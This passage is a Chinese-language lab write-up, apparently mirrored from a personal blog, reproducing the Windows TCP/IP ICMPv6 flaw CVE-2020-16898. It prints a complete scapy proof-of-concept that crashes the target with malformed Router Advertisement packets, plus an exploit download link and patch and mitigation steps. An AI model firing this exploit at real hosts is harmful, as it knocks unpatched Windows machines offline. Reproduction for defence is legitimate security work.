4

Windows TCP/IP远程代码执行复现(CVE-2020-16898)

 2 years ago
source link: https://827607240.github.io/2020/12/01/ICMPv6_CVE-2020-16898/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Windows TCP/IP远程代码执行复现(CVE-2020-16898)

Microsoft Windows TCP/IP是美国微软(Microsoft)公司的一个Windows的Tcp/Ip支持服务。
Windows TCP/IP存在远程代码执行漏洞。该漏洞源于程序未对ICMPv6路由器广告数据包进行正确处理。攻击者可以借助特制ICMPv6路由器广告数据包利用该漏洞实现远程代码执行。

漏洞影响范围

Windows 10 1709、Windows 10 1803、Windows 10 1809、Windows 10 1903、Windows 10 1909、Windows 10 2004。

Windows Server version 1903、Windows Server version 1909、Windows Server version 2004、Windows Server 2019版本

漏洞利用条件

  • 仅当源地址是本地链接的IPv6时,才能利用此bug。
  • 整个有效负载必须是有效的IPv6数据包。如果您将标头弄得太多,触发触发错误之前,您的数据包将被拒绝
  • 在验证数据包大小的过程中,可选标头中所有定义的“长度”必须与数据包大小匹配
  • 此漏洞允许走私额外的“标题”。此标头未经验证,并且包含“长度”字段。触发错误后,无论如何都会根据数据包大小检查此字段。
  • 需要绕过Windows NDIS API可以触发错误

win10 1903版本。

解决Windows 10 1903下IPv6地址无法ping通问题。管理员权限运行

netsh firewall set icmpsetting type=all mode=enable

靶机:win10:fe80::e511:12c5:9182:ff81

攻击机:kali:fe80::20c:29ff:fef4:11cc

连通性测试:

EXP下载地址:http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

修改exp中的v6_dst 以及v6_src地址。

sudo python3 p_CVE-2020-16898.py

win10已蓝屏。

蓝屏EXP

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fe80::e511:12c5:9182:ff81%6"
v6_src = "fe80::20c:29ff:fef4:11cc"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)
  1. 首先就是IPv6地址无法ping通问题,管理员权限运行netsh firewall set icmpsetting type=all mode=enable命令解决。
  2. 漏洞利用失败,总是提示IP地址无效。通过修改虚拟机网络编辑器开启ipv6解决。

疑惑的点

虚拟机未开启ipv6时,win10系统只有一个本地链接ipv6地址。ping这个地址不通fe80::e511:12c5:9182:ff81%6,删除后面的%6可以通。

攻击成功后,win10系统重启才发现ipv6地址和临时ipv6地址。

  1. 升级更新,安装补丁。

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

  2. 不能升级的话,先禁用基于RA的DNS配置CMPv6 RDNSS

    使用以下PowerShell命令禁用ICMPv6 RDNSS,以防止攻击者利用此漏洞。此解决方法仅适用于Windows 1709及更高版本。

    netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable

    注意:进行更改后,无需重新启动。

https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247486472&idx=1&sn=e44315e35468996a2aab0049f21c498e&chksm=90392af8a74ea3ee65ff2f315bcebf35bfd0be3cb8c687c7a2886f00c45892deab9eccf11e09&cur_album_id=1432986120761212928&scene=189#rd


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK